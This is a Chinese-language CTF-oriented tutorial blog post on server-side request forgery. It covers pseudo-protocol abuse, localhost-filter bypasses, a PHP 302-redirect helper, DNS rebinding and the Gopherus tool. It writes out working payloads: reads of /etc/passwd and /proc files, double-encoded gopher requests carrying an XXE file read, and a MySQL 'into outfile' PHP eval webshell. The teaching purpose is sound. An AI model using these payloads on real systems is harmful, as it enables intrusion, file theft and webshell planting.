【Web】没人比我更懂SSRF之入门必须要懂的知识汇总

2024-02-20 23:28

本文主要是介绍【Web】没人比我更懂SSRF之入门必须要懂的知识汇总,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

SSRF速览

伪协议

总览

file伪协议

dict伪协议

http协议

gopher伪协议

绕过

127限制绕过

302重定向绕过

DNS重绑定绕过

利用

gopher模拟请求打内网其他漏洞

Gopherus乱杀打组件


先看这篇文章:https://z3r4y.blog.csdn.net/article/details/135458329

本文属于更详细讲解相关知识,对萌新更友好

SSRF速览

SSRF(service side request firgery)

攻击的目标:无法从外网访问的内部系统

形成的原因:大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

例如:

①从指定的URL地址获取网页文本内容

②加载指定地址的图片,下载

③识图,给出一串URL就能识别出图片

攻击方式:借助主机A发起SSRF攻击,通过主机A向主机B(可以是A所在内网的其他服务器)发起请求,从而获取主机B的一些信息,进而利用SSRF实现其他漏洞利用。

例如:

①利用file协议读取本地文件

②对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

③攻击运行在内网或本地的应用程序

④对内网web应用进行指纹识别,识别企业内部的资产信息

⑤攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击

伪协议

总览

file:// 从文件系统获取文件内容 如 file:///etc/passwd

dict:// 字典服务协议,访问字典资源 如 dict:///ip:6739/info

ftp:// 可用于网络端口扫描

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传输服务

file伪协议

file:///etc/passwd 读取文件passwd

file:///etc/hosts 显示当前操作系统网卡的ip

file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)

file:///proc/net/fib_trie 显示当前网段路由信息

dict伪协议

可用于:扫描端口(查找内网主机开放端口)、获取内网信息、爆破密码等

http协议

作用:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源(通过目录扫描获取网站子页面)

可以用dirsearch这些目录扫描工具替代

gopher伪协议

利用范围较广:GET提交、POST提交、redis、Fastcgi、sql

gopher协议默认端口是70

gopher请求不转发第一个字符

例如:

发送端:curl gopher://127.0.0.1/abcd

接收端:bcd

发送端:curl gopher://127.0.0.1/_abcd

接收端:abcd

SSRF中利用gopher协议发送GET/POST请求(建议用bp发包)

注意:换行符:%0D%0A
回车换行要变为%0D%0A,如果直接用工具转,可能只有%0A
在http包的最后要加%0D%0A,代表消息结束

GET提交最后要增加一个换行符

GET示例:

url=gopher://127.0.0.1:80/_

GET /?name=Z3r4y HTTP/1.1
Host: www.example.com

url两次编码(一次给SSRF主机解码,一次给example.com解码)

下面用网页工具来url编码,也可以直接bp内置url全编码

CTF在线工具-在线URL编码|URL解码

url=gopher://127.0.0.1:80/_%250D%250AGET%2520/%253Fname%253DZ3r4y%2520HTTP/1.1%250AHost%253A%2520www.example.com%250D%250A

POST示例:

gopher://127.0.0.1:80/_

POST /xxe.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [  
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>
<info>
<name>&name;
</name></info>

url一次编码

%0D%0APOST%20/xxe.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Length%3A%20180%0D%0A%0D%0A%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0D%0A%3C%21DOCTYPE%20info%20%5B%20%20%0D%0A%3C%21ENTITY%20name%20SYSTEM%20%22php%3A//filter/read%3Dconvert.base64-encode/resource%3D/flag%22%3E%20%5D%3E%20%0D%0A%3Cinfo%3E%0D%0A%3Cname%3E%26name%3B%0D%0A%3C/name%3E%3C/info%3E%0D%0A

url两次编码后

url=gopher://127.0.0.1/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A%0A

绕过

127限制绕过

ctf中经常限制访问本地网站的内容
$_SERVER['REMOTE_ADD']=='127.0.0.1'
而127.0.0.1往往会被ban

一般有以下几种方式绕过:

1 enclosed alphanumerics 绕过(在有些环境中可以)

127.0.0.1

127.⓿.⓿.1

2 使用IP地址转换

所有的域名->IP  

ip可以使用不同进制来表示

IP地址十六进制、二进制、十进制转换-ME2在线工具

127.0.0.1用不同进制可以表示为
- 2130706433  10进制 http://2130706433  
- 017700000001 8进制 http://017700000001
- 7F000001 16进制   http://0x7F000001


3 特殊语法绕过

Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1

127.0.0.1 可以省略为 127.1(Windows和Linux下均可)

127。0。0。1 可以替代127.0.0.1(Linux可)

4 利用短网址绕过

站长工具 > 在线短网址生成_短网址在线生成

baidu.com  不允许出现baidu

或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

http://rurl.vip/eW7AU

302重定向绕过


如果对方可以接受302跳转,并且跟进302跳转

可以发送http的协议。但是返回的location为其他协议

http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&query=xxxx

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  header("Location: $schema://$ip/$query"); 
} else {header("Location: $schema://$ip:$port/$query"); 
}

起服务器用这个指令(不能用python -m http.server 8888,因为要解析php代码)

php -S 0.0.0.0:8888

DNS重绑定绕过

SSRF防御模式

我们可以看到,客户端和服务端分别都对URL进行了请求,即走了两次DNS域名解析

第一次DNS解析:对URL的host进行DNS解析
第二次DNS解析:使用CURL发包的时候进行解析

攻击原理:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip,,第一次DNS解析的IP设为合法IP,第二次DNS解析的IP设为内网IP,从而SSRF访问内网


注意DNS重绑定是有概率成功,不是一次就能打通,得看运气

推荐这个网址:CEYE - Monitor service for security testing

利用

gopher模拟请求打内网其他漏洞

当漏洞存在于内网其他端口时,我们可以利用SSRF来打。

本质是用gopher/http协议模拟浏览器请求(GET/POST)行为来利用其他漏洞,如XXE,SQL注入,文件上传,文件包含,甚至一些CVE漏洞(对tomcat文件写入CVE-2017-12615),只要是我们能用手打出来的都可以用gopher来打,不过是把请求头请求体塞进gopher伪协议后面,不多赘述,懂得都懂。

Gopherus乱杀打组件

GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

①使用SSRF对mysql进行未授权查询
②使用SSRF对mysql进行未授权文件写入
(select "<?php eval($_POST[1]);?>" into outfile '/var/www/html/shell.php')

③使用SSRF对redis未授权漏洞利用,如webshell写入,ssh公钥写入,计划任务反弹shell

④使用SSRF打redis主从复制

......

这篇关于【Web】没人比我更懂SSRF之入门必须要懂的知识汇总的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/729872

相关文章

Java 枚举的常用技巧汇总

《Java枚举的常用技巧汇总》在Java中,枚举类型是一种特殊的数据类型,允许定义一组固定的常量,默认情况下,toString方法返回枚举常量的名称,本文提供了一个完整的代码示例,展示了如何在Jav... 目录一、枚举的基本概念1. 什么是枚举?2. 基本枚举示例3. 枚举的优势二、枚举的高级用法1. 枚举

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

Java架构师知识体认识

源码分析 常用设计模式 Proxy代理模式Factory工厂模式Singleton单例模式Delegate委派模式Strategy策略模式Prototype原型模式Template模板模式 Spring5 beans 接口实例化代理Bean操作 Context Ioc容器设计原理及高级特性Aop设计原理Factorybean与Beanfactory Transaction 声明式事物

sqlite3 相关知识

WAL 模式 VS 回滚模式 特性WAL 模式回滚模式(Rollback Journal)定义使用写前日志来记录变更。使用回滚日志来记录事务的所有修改。特点更高的并发性和性能;支持多读者和单写者。支持安全的事务回滚,但并发性较低。性能写入性能更好,尤其是读多写少的场景。写操作会造成较大的性能开销,尤其是在事务开始时。写入流程数据首先写入 WAL 文件,然后才从 WAL 刷新到主数据库。数据在开始

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

数论入门整理(updating)

一、gcd lcm 基础中的基础,一般用来处理计算第一步什么的,分数化简之类。 LL gcd(LL a, LL b) { return b ? gcd(b, a % b) : a; } <pre name="code" class="cpp">LL lcm(LL a, LL b){LL c = gcd(a, b);return a / c * b;} 例题:

Java 创建图形用户界面(GUI)入门指南(Swing库 JFrame 类)概述

概述 基本概念 Java Swing 的架构 Java Swing 是一个为 Java 设计的 GUI 工具包,是 JAVA 基础类的一部分,基于 Java AWT 构建,提供了一系列轻量级、可定制的图形用户界面(GUI)组件。 与 AWT 相比,Swing 提供了许多比 AWT 更好的屏幕显示元素,更加灵活和可定制,具有更好的跨平台性能。 组件和容器 Java Swing 提供了许多

【IPV6从入门到起飞】5-1 IPV6+Home Assistant(搭建基本环境)

【IPV6从入门到起飞】5-1 IPV6+Home Assistant #搭建基本环境 1 背景2 docker下载 hass3 创建容器4 浏览器访问 hass5 手机APP远程访问hass6 更多玩法 1 背景 既然电脑可以IPV6入站,手机流量可以访问IPV6网络的服务,为什么不在电脑搭建Home Assistant(hass),来控制你的设备呢?@智能家居 @万物互联

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识